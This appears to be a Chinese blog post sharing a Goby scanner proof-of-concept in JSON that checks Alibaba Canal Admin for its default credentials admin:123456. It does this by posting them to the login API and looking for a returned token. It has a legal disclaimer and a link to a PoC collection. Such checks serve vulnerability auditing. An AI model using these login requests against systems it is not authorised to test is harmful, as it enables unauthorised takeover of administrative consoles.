声明
本程序仅供于学习交流,请使用者遵守《中华人民共和国网络安全法》,勿将此脚本用于非授权的测试,脚本开发者不负任何连带法律责任。
代码
{
"Name": "alibaba canal default password",
"Level": "3",
"Tags": [
"defaultaccount"
],
"GobyQuery": "title=\"Canal Admin\"|body=\"Canal Admin Login\"",
"Description": "alibaba canal has a default password problem. Attackers can log in through admin:123456",
"Product": "Remote attacker can use this default to control the system",
"Homepage": "https://github.com/alibaba/canal",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [],
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/v1/user/login",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "com.alibaba.otter.canal.admin.controller.UserController.login",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "POST",
"uri": "/api/v1/user/login",
"follow_redirect": false,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"username\":\"admin\",\"password\":\"123456\"}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{\"code\":20000,",
"bz": "\"data\":{\"token\""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2021-10-31 17:23:05",
"GobyVersion": "1.8.302"
}
#poc集合
地址:https://github.com/aetkrad/goby_poc
帮助到你的话给个星吧!